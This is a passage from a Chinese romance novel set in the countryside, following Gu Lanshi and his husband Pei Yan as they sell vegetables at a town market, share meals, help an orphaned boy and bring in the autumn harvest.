“嗯,趁这会儿还早,赶去镇上早集卖。”顾兰时笑道,又说:“行了大娘,不用送,我们就走了。” 祖宅离村口近,往前再没有本家亲戚,他上了板车坐好。 裴厌也坐在前面,说道:“大娘,我们先走了。” “好好,路上慢些。”刘彩凤答应道,见驴车慢慢走远,她进门将窗台上的豇豆收进灶房,刚摘的菜,又是头一茬,果然新鲜。 村外的土路没有官道那么宽敞平坦,毛驴拉着板车往前走,等上了官道以后,裴厌才甩了几下手里的鞭子,他没舍得抽在毛驴屁股上,只用声音吓唬指挥。 驴子在上一任主人家就被训好了,听到动静后下意识跑起来,越跑也越顺畅。 顾兰时坐在竹筐后面,驴车跑起来后两旁有风掠过,不一会儿小河村就落在后面,比平时走路快多了。 他高兴得不行,在家里时也有驴车坐,可这会儿就是好高兴,感受着耳朵两边的风,他没忍住,“哇”一声喊出来。 听出这一嗓子的高兴,坐在前面赶车的裴厌也笑了,他没有回头,只笑着问道:“这么高兴?” “当然,咱们也有驴车了,跑得这么快,跟一阵风似的。”顾兰时漫天夸奖,一个补了好几次的破旧板车在他眼里简直是顶好的,更别说自家毛驴,简直比马儿都跑得快。 裴厌脸上笑意更甚,回头一看,果然,顾兰时眼睛是亮的,整个人兴奋到有点手舞足蹈,比小孩还像小孩。 要不是在赶车,他都想上手抱抱人,在心里直感叹,哪有这么讨喜的夫郎,运气好让他捡到了。 “那是清水村?”顾兰时看着西边的村落问道。 裴厌转过头看一眼,说:“是。” 顾兰时忍不住感慨道:“驴车果然快,清水村都到了。” 清水村离他们最近,但走路要好一会儿呢,还是赶车好。 初秋的清晨带了点露水凉意,他坐在板车上,像是才认识沿途的村子,一路都发出感慨,惹得裴厌在前面不停笑。 * 进镇子后驴车慢下来,裴厌在前面牵着走,顾兰时依旧坐在车上。 一大早,宁水镇的铺子陆续开门,街上各种贩夫走卒也都来了,见着人就吆喝。 有妇人提着竹篮匆匆走来,路遇卖菜卖鸡蛋的停下问问。 顾兰时还沉浸在刚才的喜悦中,看见这一幕,立马想起来自己要做什么,嘴里也吆喝起来:“豇豆,新鲜的豇豆,头一茬尖儿。” 他吆喝两声,对前面说道:“我下来吧。” 因街上人来人往,驴车走得慢,都不用停下来,他自己扶着板车边沿就跳下去,走在板车旁边又吆喝起来。 裴厌一看如此,轻叹一声摇了摇头,但也没说什么,跟着他一起吆喝。 “豇豆怎么卖?”有个老夫郎拦下了他俩。 顾兰时连忙说道:“一斤六文钱,老嬷你看看,可新鲜了,今年头一茬呢,正是最好的。” 裴厌吁一声,让毛驴在街边停下,见人多,他摸摸毛驴前额和鼻梁以示安抚,省得突然尥蹶子。 “这么贵。”老夫郎嘴上这么说,脚下却径直过来。 顾兰时笑道:“这价钱哪里贵,老嬷先看看东西。” 他从筐子里取出一根,“啪”一声轻脆响,掰了一小截让老夫郎看,开口道:“看,老嬷,嫩成什么样了,一点都不老,早起刚摘的呢。” 这豇豆确实好,又嫩又绿,常常买菜的人就能看出来。 老夫郎抓了几根在手里看,说道:“五文钱,怎么样?” 顾兰时为难道:“老嬷,我们这是尖儿,特地捡着最好的摘下来,五文钱不行,六文一斤,已经是市价了。” “市价哪有这么贵,不过是些家常菜,又不是什么山珍稀罕东西,哪里就要六文。”老夫郎继续还价。 顾兰时想一下,笑着说:“我们头一次开张,老嬷既诚心要,五文就五文了,要多少?” 老夫郎从筐子里抓了一大把,打算细挑一挑,其实也没什么好挑拣的,根根都新鲜。 他心中暗自满意,但没有流露出来,将手里的一把都给面前这个年轻夫郎,说道:“这些都要了,既新鲜,回去拌着白面蒸一些。” 他上了年纪,蒸的菜才咬得动,清炒也需得炒软烂了。 顾兰时用细麻绳捆了这一把,随后挂在秤上称,看准了星后笑道:“差几根二斤,我给你多拿几根。” 老夫郎伸着脖子看一眼秤杆,她常年给家里买菜,在手里掂一掂能估个差不多,方才又是自己抓的,点点头从怀里掏出荷包开始数铜板。 “给。”他把钱递过去,见顾兰时给他添了七八根长豇豆,心里满意,什么都没说,接过菜放进篮子走了。 顾兰时把十个铜板倒进另一个手里,听见铜板哗啦啦响,乐得见牙不见眼,随后才从怀里掏出空钱袋,把这些都装进去。 第一笔生意做成,两人心情都很好, “老嬷还挺好说话。”顾兰时笑道,跟在驴车旁边继续往前走。 裴厌听见,说道:“确实,没乱还价。” 长豇豆的价钱他俩前两天都打听好了,昨天回家借秤的时候还问了他爹娘,好一点的五文六文都有,若老了或是到下午晒蔫了,就只能卖四文钱,甚至更少。 这东西也看卖的人多不多,要是太多,价钱自然就下来了。 他俩运气算好的,夏天种豇豆的人少,都是春豇豆或秋豇豆,也幸好他俩夏天时没干别的活,白天常常侍弄菜地,浇水上肥都弄得好,这会儿便有了好收成。 “豇豆,新鲜的豇豆。” 裴厌在前头吆喝着,有人听见下意识看过来,入眼却是个脸上一条长疤的高大汉子,没吓到也被那条破相的疤惊了一下。 有的人能稳住神色,看一眼就略过了,有的人天生神色多变,眼神的变化很明显。 裴厌看到之后不以为意,这些年什么眼神没见过,不至于为这就心灰意冷。他和顾兰时是来卖菜的,更担心的是菜卖不出去,于是缓和了神色,尽量不让自己冷脸。 出来买菜的有很多是妇人和夫郎,吓走主顾不划算。 “卖豇豆,早起刚摘的,蒸着吃炒着吃都新鲜。” 顾兰时沉浸在挣钱的喜悦中,喊得特别起劲,嗓子脆生生的,他在板车旁边走,裴厌在前面牵驴,因此没留意到前面人的神色。 裴厌不禁露出个笑容,从坐上驴车顾兰时就高兴,这会儿连话都多了,一点不见扭捏怯场。 顾兰时本就长得好看,一笑十分讨喜,见他吆喝如此卖力,吸引了两三个卖菜的妇人围过来问价钱。 裴厌的作用此时只剩下牵驴和让驴停下,怕自己搅和了生意,他站在旁边没吭声。 顾兰时小时候跟着他爹娘卖过菜,越喊越熟练,这三个人一起还价,都要买,说了两句他就答应下来,连忙给她们上秤。 东西好又是市价,卖起来很顺当,这回进账三十五文,他转头看向裴厌,眼里全是喜意。 “不错。”裴厌说道。 得了夸赞,顾兰时嘴角弧度就没下去过,一路往早市走一路卖菜。 进早市之前,遇到个只肯出四文钱的老妇,他摆摆手,连话也不想多说,更别提卖给对方。 身后的老妇又不是穷困潦倒吃不起饭的,身上衣裳干净,连补丁都没有,他才不吃这个亏。 早集门口有收市金的衙役,裴厌过去交了三文钱,领了半块小木牌,木牌上用黑墨写着数,等出来后和另一半对上就能走。 进去虽然要钱,好处就是不用再走街串巷,找个地方停下就好,镇子上的人有不少会来这里采买。 他俩来得有点迟,在里面寻摸了一个干净空地后,裴厌让毛驴停下,解了车套,好叫它在旁边歇歇。 板车用棍子撑平,竹筐依旧放在上面,顾兰时站在后头吆喝揽客,干劲满满。 第80章 早集上人来人往,卖东西的也很多。 顾兰时百忙之中看了看周围,左边同样是卖菜的,右边的老汉挑了两筐南瓜,地上放了一小口袋青枣,枣子上有点点微红。 老汉蹲在地上吃糙馒头,时不时吆喝两声“面南瓜、甜枣子”,见有人来看枣儿,他立马把剩下的馒头用布包了放在一旁。 “这会儿的枣子能甜?”带着青色抹额的老太太弯下腰细看。 老汉说道:“树种不一样,我家那棵枣树当年我爷爷的爷爷从别处移栽回来,养了这些年,正是这会儿熟的,带了青最好吃,又脆又甜,若到全红时,挂在树上没几天就干软了。” 见老太太犹豫,他拿起一个递过去,说:“你尝尝,怎么不甜。” 老太太接过去,在袖子上擦擦,用门牙咔嚓咬下来一口,果然脆生,她一口老牙都咬得动。 “如何?”老汉虽这么问,神色却是自信的。 老太太点了点头,说道:“多钱?给我称上一半斤的。” 老汉开口道:“这枣子别人家都没有,独我一家有,稀罕着呢,过了这几天也没青枣了,因此价钱比较贵,一斤二十文。” “二十文?”老太太有点惊讶,说道:“便宜点。” “不行不行,你看就这一小口袋,东西少,便宜不得。”老汉摆摆手。 老太太也不是吃素的,说道:“十八文,行了我就称上一斤,不行我就走了。” 他俩你一言我一语,旁边顾兰时暂时没生意,便看了过去。 见老太太作势要走,老汉朝她招招手,拿了一个布兜让她自己挑青枣,称完倒进老太太的竹篮里,接了钱后又顺手给她多扔了两个进去。 得了饶头,老太太心满意足。 顾兰时见她往这边走,连忙喊道:“豇豆,新鲜的豇豆。” 老太太看一眼竹筐里的菜,不怎么感兴趣,径直走了。 已经进来小半天了,裴厌正在喂歇过的毛驴吃草料,带的不多,给它垫垫肚子,省得没力气跑。 发现顾兰时对那袋青枣很感兴趣,看了好几眼,他便抓了一把豇豆,走过去说:“老伯,跟你换几个枣,可行?” “豇豆啊。”老汉说着,去看他手里的菜,见新鲜嫩生,给的也大方,便点了点头,从布袋里抓了六七个枣子递过去。 “多谢。”裴厌接了道一声谢,又走了回来。 顾兰时笑道:“也不说一声,刚才我还以为你要去哪儿呢。” “尝尝。”裴厌把青枣都倒在他手里,自己用大拇指压着一个留下。 顾兰时另一手从怀里掏出手帕,见他直接要吃,连忙把帕子递过去,说道:“擦擦再吃,急什么,还能跑了不成。” 裴厌自己也有手帕,但既然顾兰时给他了,就顺手使用。 两人站在板车后面吃青枣,果然甜津津的,水分也足,够脆生。 “好吃。”顾兰时笑眯眯的。 裴厌吃了一个,噙着枣核在嘴里把果肉咂摸干净,闻言笑道:“还有呢,你都吃了。” 旁边老汉听见他俩的话,一脸自傲说道:“青枣我卖了这些年,岂能骗你们两个后生。” “确实是好东西。”裴厌笑道。 正说着话,有人看见他俩吃青枣,一打量就发现是老汉在卖,便过来询问价钱。 老汉又忙起来,顾兰时和裴厌不再打搅他生意。 随着太阳越大,早集上的人渐渐少了,半个上午快过去,顾兰时看看竹筐里的菜,卖了一筐半出去,还剩下两筐多。 豇豆比较长,一把一把盘在竹筐里,这么嫩的菜,怕挤坏压伤又不能塞的太实在,因此空隙较大,一筐最多就装个二十斤,少一点就十七八斤的样子。 今天过来一斤都是五文钱,差不多卖了有三十斤,具体数还得等回去了再算。 他看向裴厌,太阳晒着,情不自禁眯了眯眼睛,说道:“要不回去吧,家里还有活呢,咱们好说,禽畜吃不到东西肯定叫翻天了。” 裴厌点点头,将毛驴牵到外边开始套车。 板车上的东西不用收拾,都在竹筐里,顾兰时将筐子往前面挪了挪。 豇豆没卖完不打紧,完全不怕蔫掉变老赔了本,回去了就焯水晾晒,这东西长,能挂在木架上晒。 他俩过冬的干菜还没弄齐呢,原本就要给自家留两茬,今天之所以全都摘了,一个是怕在秧上长老了,摘了这些长的,短的也好继续长,另一个就是不知道能卖多少,干脆都拉来镇上,卖不完再带回去也不费事。 旁边老汉家里离宁水镇近,他不急着回去,依旧这这里吆喝卖南瓜。 裴厌牵着毛驴走之前同他点头示意,老汉也一点头,两人算是混了个熟脸。 出了早市,在街上驴车不好跑起来,顾兰时沿途又吆喝起来,路过一个巷子口的时候,两个妇人听见,出来喊他俩停下。 又做了笔生意,顾兰时把秤在筐子里放好,路上人多眼杂,钱袋塞在空竹筐最底下,这十个铜板他收进小荷包,省得翻出钱袋叫人看见。 他走在板车旁边看着竹筐和菜,裴厌拉驴又往前走。 等出了镇子后,两人一前一后坐上板车,鞭子在空中一甩,毛驴就嗒嗒嗒跑起来,一路顺畅回了家。 * 房间里,顾兰时和裴厌坐在桌子前一起数铜板。 卖菜都是铜板,没有零碎银子,他从这一堆拿起一枚小声数,随后放在旁边又堆成一堆。 裴厌在他念数的时候也在心里默念。 顾兰时把最后一枚铜板放在小钱堆上,抬头笑道:“六十。” 旁边一堆是数好的一百个铜板,他笑意吟吟,说:“一共一百六十文,一斤五文,这么多应该卖了……” 裴厌下意识也算起来,想了一会儿开口:“正好三十二斤。” “嗯,是三十二斤。”顾兰时比他慢一步得出数目。 卖菜进项还不错,就是三两个月才有收成,为菜长得好,也要尽心尽力伺候,卖几茬挣一点钱是该得的。 顾兰时揪断一根麻绳开始穿钱,一百个铜板是数好的,不用再念数,他笑着说:“等过几天,短的又长长了,还能去卖。” “嗯。”裴厌露出笑容,看着旁边六十文散钱,问道:“这些是放外面?” 顾兰时抬头看一眼,说:“看看炕褥底下还有多少。” 裴厌起身翻开炕褥,拿出一个钱袋子,在手里一掂,听见声音哗哗响,笑道:“之前卖蝎子,我记得有五六十枚铜板放在外面,一直没怎么动。” “或许能凑一百文整。”他说着,从钱袋里两枚两枚掏出来放在桌上,嘴里念着数。 “上回我买豆腐花了六文钱。”顾兰时说完,见他认真在数数,再没出声打搅。 “五十三。”裴厌把袋子里的钱数完,笑道:“能凑一百文了。” 顾兰时又揪断一根麻绳开始穿钱,裴厌坐在旁边看着,时不时把铜板递到他手边。 穿好后他看着余下十三个铜板,想了一下说:“家里油盐酱醋都不缺,这十天半个月没有要花钱的地方,留这几个应该够了。” 裴厌点点头:“足够了。” 在家里吃喝不用花钱,菜是现成的,偶尔买几块豆腐,不过如今天气转凉一点,肉也好放,于是他问道:“想不想吃肉?” 上回炒菜把最后一点猪油吃了,猪肉更是早就吃完了,顾兰时点点头,确实有点馋。 “我明天打听一下,看谁家杀猪。”裴厌又说道:“天凉,肉价应该在二十文了,这一串钱都放在外面,买五斤肉回来,再汆一回肉丸子。” 他很少点名要吃什么,顾兰时笑了笑,说:“好,买回来我就做,只是今天刚卖了点钱,就被咱们吃嘴了。” “后边菜还能摘好几茬,丝瓜和菜瓜到时候也熟了,不打紧。”裴厌安慰他两句,站起身说:“我出去割猪草。” “嗯,我去做饭,吃完有的忙呢。”顾兰时把其中一串钱塞进箱底藏好,也匆匆出去了。 * 菜地之前上的水肥都足,豇豆长得还挺快,一两天就有长的垂下来。 裴厌隔两三天就会翻看根底下的泥土,要是太干就得浇浇水,好在初秋的太阳没有那么炙烤,土壤干湿正好。 下午酉时初,太阳被云遮住,风一吹越发凉快。 大菜地里传来一阵笑声,苗秋莲和顾兰时大娘正在豇豆地里摘菜,妯娌两个一人一行,挑着长豇豆摘,隔着豇豆藤说笑声也不断。 “大嫂子,就摘这么些。”苗秋莲摘了一大把,足够两天吃的。 她过来一看刘彩凤的竹篮,就在这边又摘了些,说道:“还有他阿奶呢,来都来了,多带点回去。” 刘彩凤不是那种特别爱占便宜的人,更何况顾兰时和裴厌是小辈,吃了人家好几回菜,哪儿好意思摘太多,见状忙说够了够了。 顾兰时挑了两桶水进门,顺着石子路走到跟前,笑道:“大娘,多摘点,还有呢。” 刚才他娘和大娘过来,他正在给水缸挑水,就让她俩自己去摘,摘多少都行。 知道刘彩凤客气,苗秋莲上手,很快给她摘了一大把放进竹篮。 顾兰时倒了水又挑着空桶出来,站在菜地旁边和她俩说闲话,唠了几句家常,跟着他的大黑忽然冲篱笆门外叫。 一看是徐启儿来了,他连忙喝止大黑。 “兰哥哥,婶子也在。”徐启儿看见大狗心中忐忑,走路都不敢快。 知道他来做什么,顾兰时笑道:“来得正好,给你摘点豇豆。” 见徐启儿有点扭捏,苗秋莲把自己篮子里的豇豆都给他,说道:“给你就拿着,也不值什么,不过够两顿吃的。” 顾兰时回去拿了一钱碎银子给他,叮嘱道:“回去了记得同里正说一声,叫他知道。” 徐启儿重重点头,说:“嗯,我回去就说,刚才来的时候碰到隔壁婶子,她问我,我说过来拿钱。” 顾兰时笑着说:“一两二钱,拿了两回了,如今还剩一两,我记得你头一回买米面不是吃了挺久,怎么这回吃得快了些。” 徐启儿兄弟俩就指着这一两多银子过活,初秋同样有野菜能挖,他怕这两人不知轻重,把钱花光了,到冬天可怎么办。 徐启儿说道:“上回买的面还没吃完,我看天气凉了,想再买点,多蒸一屉糙馒头放着,干活累了回去就有的吃。” 原是这样,顾兰时放了心,只要别乱花钱就好。 徐启儿走之后,苗秋莲和徐彩凤又是叹息又是惊讶,他一个半大的小子竟会蒸馒头,没爹没娘可真不容易。 80-100 第81章 裴厌刚过晌午就和狗儿还有顾兰兴去山上打鸟打兔子了,顾兰时想去挑水,自己一个人的话来回都得锁院门,比较麻烦。 刚好苗秋莲把摘下来的长豇豆都给了徐启儿,他让再摘一些,趁院里有人,又挑了两趟水。 他倒完水,把扁担靠在墙上,挽起打湿的袖子往大菜地走,说道:“娘,你和我大娘怎么不进来。” 苗秋莲已经摘够豇豆了,她笑着朗声说:“不进去了,快到饭时,该回去做饭了,我和你大娘就走。” 见她俩说着就动脚,顾兰时匆匆赶上,笑道:“再过几天丝瓜菜瓜都熟了,大娘记得过来摘。” 刘彩凤笑得眼角褶子都出来了,连声答应,又说:“你俩种点菜不容易,大娘跟着沾点光也足够了,哪能老过来拿菜。” “嗐,你能吃多少,孩子一点心意,受着就好。”苗秋莲嗔道,出了篱笆门,她朝落在后面一步的顾兰时说:“行了,快回去忙,我俩就走了。” “好。”顾兰时笑着答应,见大黑往河边走,像是要去游水,他没阻拦,对狗说一句:“等会儿记得回来。” 大黑轻晃几下尾巴,也不知道听懂没有。 * 傍晚,天际一抹柔和的紫红色异常瑰丽,顾兰时站在石子路上看了好一会儿,正打算出去看裴厌回来了没,半掩的篱笆门从外面推开。 “怎么到这会儿。”他迎上去,看见裴厌拎了只兔子和一只山鸡,惊喜道:“打到了。” 裴厌笑着说:“嗯,他俩没打中,我给一人打了只兔子让带回去,运气好,在山上转了半天,又碰见两只山鸡,本想给他俩带回去,不要,说他俩分一只就行。” 弹弓要打准,除了天赋极好的人以外,其他人都要多练练,他自己也是在外头行军,路上饿了没办法,有时又实在馋肉吃,才练了一手打弹弓的本事。 顾兰时接过兔子看了看,笑道:“他俩这么大了,还是小孩子心性,贪玩,弹弓岂是一两天就能打好的。” 他又开口:“今天启儿来过了,要了一钱银子,说想多买点面回去蒸馒头,我交代他要跟里正说一声。” 裴厌点点头:“好,我知道了。” 进院子之后,两人把野物放在木柴堆上,大黑看见,忍不住站在木柴上伸长脖子去闻,被骂了一声后才下去。 饭菜已经端上桌了,因摸了野兔子,顾兰时也蹲下洗手,见小竹篮的野澡珠不多了,说道:“明天得了空,该去趟山上。” “行。”裴厌问道:“鸡和兔子怎么吃?” 顾兰时想了一下,洗干净手上的白沫子说:“明天上山,拔点细笋子,和山鸡炖了,兔子后天再吃,我回家拿点秋辣子和大料什么的,煮一锅辣味的,改改口。” 在山上转了这么久,裴厌已经饿了,听他这么一说,忍不住咽了咽口水,比起自己的手艺,顾兰时做饭炒菜要好吃太多。 “饿了?”顾兰时笑着问道,站起来擦手。 “嗯。”裴厌老实点头。 在饭桌前坐下后,他拿起一个馒头就大口啃。 * 又是山鸡又是兔子,连着吃了两天好的,让他俩十分满足,吃好干活才更有力气。 有几根丝瓜长得快,已经能吃了,顾兰时在菜地摘丝瓜时看见一片黄叶飘落,飘飘乎被风吹进篱笆墙内。 初秋连着夏天的余温,突然察觉到一抹秋意,让他心里有了一点迫切感。 秋时雨水多一点,地面不像夏天那样说干就晒干了,想多晒菜干和野菜干,需得抓紧时日。 他提着竹篮走到菜瓜地里看了看,明天早上应该就能摘头茬,这些东西长起来也挺快的。 裴厌挑了水从外面进来,这几天摘的豇豆没有去卖,全都焯水晒成干,好给过冬留口粮,既要洗菜又要烧水,水用的多一点。 顾兰时走在他旁边,说:“明天菜瓜能摘了,卖不卖?” “卖,挣一点,后头还结呢。”裴厌早打算好了。 “行,那明天起来早点,我就不去镇上了,眼瞅着入了秋,天也凉了,我出去多挖点野菜,晒干了囤着,还有猪吃的草,都得多晒一些。” 听完这话,裴厌心里有一点点失落,自己一个人赶车没什么意思,一个人卖菜也没意思,可他知道这样做才是对的,低低嗯了一声,没再说别的。 第二天清晨,顾兰时帮着把五筐半菜瓜抬上驴车。 篱笆门一打开,外面林子有雾气翻涌,天边渐渐亮了。 还没出去,见裴厌一脸冷淡,他以为是刚睡醒,还有点困倦,于是笑道:“路上吹吹风就清醒了,添衣服没?早起赶车有点冷。” 他今天先起来,没看见裴厌穿衣裳。 “添了。”裴厌语气闷闷的。 顾兰时有点不解,歪头问道:“你怎么了?” 裴厌犹豫一下,没好意思说自己的不高兴,只开口道:“没什么,昨晚没歇好。” 原来这样,顾兰时点点头,笑着说:“卖菜时记得笑一下,我知道你不是故意冷脸,可别人不知道,咱们要挣钱,就委屈委屈你。” 他说着,见裴厌兴致还是不太高,于是上前一步,踮着脚伸长胳膊揉了揉对方脸颊。 裴厌下意识低头弯腰,闻到自己夫郎身上一点野澡珠的味道后,心里才舒坦些。 顾兰时揉了几下带着青胡茬的俊脸,又用手指给他勾出唇角弧度,一番作乱胡闹后,笑道:“这下清醒了吧。” 裴厌想笑但忍住了,见人离得这么近,心底一点念头被勾动。 好一会儿后,顾兰时擦擦嘴巴,红着脸关好篱笆门转身往回走,没有目送已经出去的驴车。 风吹散林间白雾,太阳一出来,雾气很快消退。 顾兰时等天亮之后才背上竹筐往地里走,快到拔豆杆的时候了,秋稻过半个月左右就能割,每天去地里转转才放心。 庄稼快长成了,有一点草也不怕,柴豆荚挺饱满,稻谷穗子也抽了出来,暂时没有别的活,他沿着河岸往回走,一边走一边打猪草。 “兰时哥哥。”竹哥儿远远就看见熟悉的身影,冲着那边喊道。 顾兰时抬头去看,拎起竹筐往过走,笑道:“你怎么一个人?” 竹哥儿说道:“我和狗儿哥出来早,打了一筐子,他先背回去了,我在这里继续割,他等会儿就来。” 虽然是白天,但河岸大了,弟弟年纪小,又是个双儿,听他这样说,顾兰时才放心。 见竹哥儿突然笑眯眯的,一看就是有什么话,他顺嘴问道:“怎么了?家里有事?” 顾兰竹就等着他问呢,说道:“昨天娘和金凤婶子说闲话,让给狗儿哥找媳妇呢。” “有看上的了?”顾兰时问道。 竹哥儿摇摇头,说:“没呢,就提了一嘴,金凤婶子说她记下了,以后给留神。” “嗐。”顾兰时白他一眼,说得这样神秘兮兮,还以为已经有看上的人家了。 他放下竹筐,使镰刀割下一把草,开口道:“你狗儿哥都十五了,是该找找,说亲相看都费工夫呢,今年要是能相中一个,估计到明年才能定亲,若是再耽搁一下,一两年工夫也过去了。” 竹哥儿嘿嘿笑了声,说:“我这不是听见了,也没个人去说,好容易才见着你,哪里能忍住。” 顾兰时见弟弟如此憨,只觉讨喜,伸手揉了揉他们竹哥儿脑袋,见他脸颊肉肉的,又摸了摸脸蛋。 “哎呀,摸什么。”竹哥儿推开他的手,抗议道:“我又不是小孩了。” 顾兰时笑着说:“才十二,小毛孩子一个,怎么就长大了。” 他俩在河边说说笑笑,没一会儿顾兰瑜过来了,兄弟三人一起在河边割草,时而玩闹一阵,倒像是他成亲之前的光景。 打了两回草后,顾兰时回到家中,估摸着裴厌应该快回来了,他添好泥炉的火将水烧开,冲了一壶热茶。 听见大黑叫声,他往房顶放了两个竹匾,脚下没着急,稳稳从梯子上下来,探头一看,裴厌已经牵着驴车进篱笆门了。 他笑着往外走,说:“今天怎么样?” 比起早上走之前的闷闷不乐,裴厌面带笑容,说:“都卖完了,按一斤三文卖的。” 家里种菜瓜的人多,最近也是这东西上市的时节,价钱略低一点。 “都卖了?”顾兰时有点惊讶。 裴厌说道:“本来没卖完,我往回走的时候,沿路吆喝了几声,有户人家估计要晒菜瓜条子,把剩下两筐都买了。” 这么一说,顾兰时明白了,也是怕冬天没口粮的人家。 进院门后,裴厌先解车套,。 顾兰时在后面把六个空竹筐搬下来,问道:“饿不饿?茶我都冲好了,刚才打猪草回来,路过祖宅,阿奶偷摸给了两块桂花糕,说是前天大姑妈来看她拿的。” 他俩常吃自己蒸的米糕垫肚子,没买过外头的糕点,得了两块没舍得自己先吃。 等裴厌把毛驴栓到后院,洗过手后进来,顾兰时才把桌上的手帕打开,一人拿了一块。 桂花糕比米糕甜,还有桂花香气,用料足,吃着到底不一样。 到最后顾兰时把手心里的渣子都吃完了,一点没剩。 见他如此珍惜,裴厌说道:“你爱吃,过几天咱们去镇上买,卖的这点菜钱干别的不够,买一包糕点怎么也够了。” 他说得这样认真,反而叫顾兰时说不出不买的话,笑眯眯点头道:“好。” 乡下人的日子只有柴米油盐这些俗物,一包桂花糕就足以高兴起来。 顾兰时心想,不止糕点,好好挣钱,以后连肉也要吃得起。 第82章 地头土路上,顾兰时从地上捡起裴厌从对面扔过来的麻绳,麻绳绕过板车底部捆了两圈,把一板车秋柴豆绑好,见捆结实了,他俩才拍拍袖子上的灰土草屑。 太阳早已出来,比不上夏天的炙热,干一早上活,也叫人汗流浃背。 柴豆熟了,田里的豆杆豆叶已经变黄,这两天村里人都在拔豆杆,西边两亩地里周平和刘桂花正弯腰忙碌。 一大早进地碰见时,顾兰时和他俩聊了几句,得知周石头和他媳妇吴小桃在他们家原先的地里干活。 顾兰时两手抓起扁担在右肩上挑好,扁担两头各有一捆柴豆,见周家叔婶离得远,他就没招呼,见裴厌也挑好了扁担,他抬起左手擦擦额头上的汗,说:“走吧。” “嗯。”裴厌挑着扁担走在毛驴旁边,大手在驴背上一拍,毛驴就拉着板车跟他往前走。 顾兰时走在板车后面,万一有豆杆掉下来,能及时捡拾。 这已经是第三车了,早上那两趟他和裴厌一个拉车一个推车,把柴豆弄了回去。 田地离村子不算远,费些力气的事,这点路连腿脚都算不上,刚买了毛驴,还舍不得让牲口太累,因此这会儿天热了,人也有点累,他俩才牵驴过来拉车。 毛驴挺聪明,认得主人,也记住了回家的路,它四条腿,到底比人走得快,不过因为主人在旁边,即便没有牵绳子,它随之放慢了步伐。 裴厌在军中时经常赶急路,脚力自然不凡,可这又不是行军打仗,自然不用紧赶慢赶,况且顾兰时在后头跟着,挑了两大捆柴豆,肯定不能走太快。 两人一驴慢悠悠往家走,板车旧了,车轱辘一圈圈碾过土路,发出吱呀声响。 回去的路上不止他俩,路过别人家田地的时候,要是离得近,免不了说笑两句。 至于旱田同样在这边的赵家人,正巧也在地头捆板车。 看见裴厌后,赵金通脸皮子抽搐一下,十分不自在,他二弟赵金水同样如此,抓耳挠腮,眼睛到处乱瞟,就是不敢和裴厌对上视线。 刚才没到跟前时,顾兰时听见赵家人在说话,眼下没有一个出声的,见裴厌没搭理这家人,径直走过去,他同样当做没看见。 赵家其他人不说,他发现赵小吉在地里后,心里也不愿意和赵家人闲聊。 昨天路过梅哥儿家门前,遇到赵小吉在骂保儿,他便让保儿回家去,别听那些混账话。 赵小吉见是他,一家子从老到小都是欺软怕硬的,对裴厌可以说十分畏惧,就不再找李保儿的茬,灰溜溜回了家。 赵金通和赵金水虽然比顾兰时大一辈,实际年龄相差只有八九岁,因此赵小吉是他们赵家最大的孙辈,如今下面只有个两岁的双儿弟弟。 赵家原先穷,赵金通赵金水的老爹赵大娶夫郎时年纪已经大了,同辈的人有的连孙子都抱上了,他才有了两个儿子。 赵大还活着的时候常常说他夫郎肚子争气,一连给他生了两个儿子。 也是因为男丁多了,赵家日子慢慢好起来,赵金通和赵金水两个有了点家底后,眼里就看不上比他们穷的了。 而自打上次碰到裴厌这块硬茬后,这一家子总算收敛了些,只敢欺负一下同村熟悉的穷苦人家,不知根知底的,他们还害怕会像裴厌那样。 * 院子谷场上,裴厌高高抬起板车手把,让车上剩下的豆杆都倒下去,随后放下胳膊,推着板车到旁边空地上放好。 顾兰时用耙子把豆杆堆铺平,弄薄些晒得快,见裴厌过来,他想了下,把手里的木耙递过去,说:“那你在这里,完了去歇一会儿,我这就去做饭。” “好。”裴厌接过耙子,将早上这三车豆杆全都翻匀后,才逮着空子坐在房檐下喝水。 大菜地里丝瓜、菜瓜还有豇豆每天都能摘不少,他俩最近吃菜一点都不用俭省,甚至换着花样吃都有点腻味,顾兰时有时会上家里挖点别的菜。 除去要晒成菜干子的,他隔几天还给家里拿半筐或一篮子,他大哥二哥那边同样会送,有时直接喊大嫂二嫂过来摘菜,也省得他送过去了。 肚子饿了,顾兰时做的都是简单饭,一把米下锅煮米汤,锅里放上竹蒸架,蒸架上搁好小竹匾,他拿了六个糙馒头放进去,盖好锅盖就添了一把柴用大火烧。 早起摘了一大把豇豆,豇豆从架子上垂下来,比较干净。 他淘洗一遍,用菜刀咔嚓咔嚓切成短截,随后在另一口烧开的锅里焯熟,捞出来撒上盐倒了酱醋,拌一拌就是一大碗有滋有味的菜。 米汤还没煮好,他给灶底添了柴,朝外面喊道:“炒丝瓜吃不吃?” 裴厌歇了一会儿,听见问话走过来,见只有一碗凉拌豇豆,开口道:“吃。” 不用顾兰时吩咐,他往院门外走,摘了四根较嫩的丝瓜回来。 等他洗好切成片后,顾兰时早把锅里焯过菜的水舀了出来,几瓣大蒜也剥好了,灶底有火,锅里的水汽很快蒸发掉。 接过菜刀,顾兰时随便切成蒜片,说道:“这两天忙完,我回家拿一辫子蒜,挑些好的泡一泡,也该种了。” 看见案台上放的猪油罐子,他抬头笑道:“还是用猪油炒,吃点油水干活才有力气,再过几天,又要割稻子了。” “嗯。”裴厌切完菜没走,家里只有他们两个,他有时会帮着顾兰时一起做饭。 除了在馆子里做厨子的,汉子大多数都不会忙灶上的活,要说出去,恐怕小河村的人还会觉得诧异。 但他和村里人的往来并不多,平时忙得什么似的,哪有工夫去说闲话,见了顾家人也不会特意把这些事拿出来说道。 猪油热了后,顾兰时把蒜片倒进去,蒜香味道弥漫出来,他又把丝瓜片倒进去炒。 裴厌从他身后绕过,走到灶前看一眼火,给煮米汤的锅底添了几根柴,再站起来见顾兰时缠起来的头发有些松散。 他垂在身侧的手抬了抬,见顾兰时正忙着翻炒菜只得作罢。 直到丝瓜盛出来后,裴厌在衣服上蹭蹭手上不存在的土,笑着说:“头发散了,我帮你缠好。” “嗯?”顾兰时忙得有点迷糊,闻言在原地站定,下意识低了低脑袋,说:“好,快弄,我都饿了。” 他不用低头裴厌也能够着他脑袋,连发顶都能看见。 裴厌脸上笑意更甚,很快帮自己夫郎重新缠好头发。 * 饱满的稻穗沉甸甸,茎秆被坠的弯下来。 河边成片成片的稻田变得金黄,一眼望去十分开阔。 磨快的镰刀锋利无比,在农人手中割下一束又一束稻子。 入秋后渐渐到了丰收的时节,秋柴豆才晒干打出豆子,稻谷又熟了。 只有两亩水稻,顾兰时和裴厌花了一天就全收回了家,毕竟都年轻,裴厌又是个壮劳力,有的是力气。 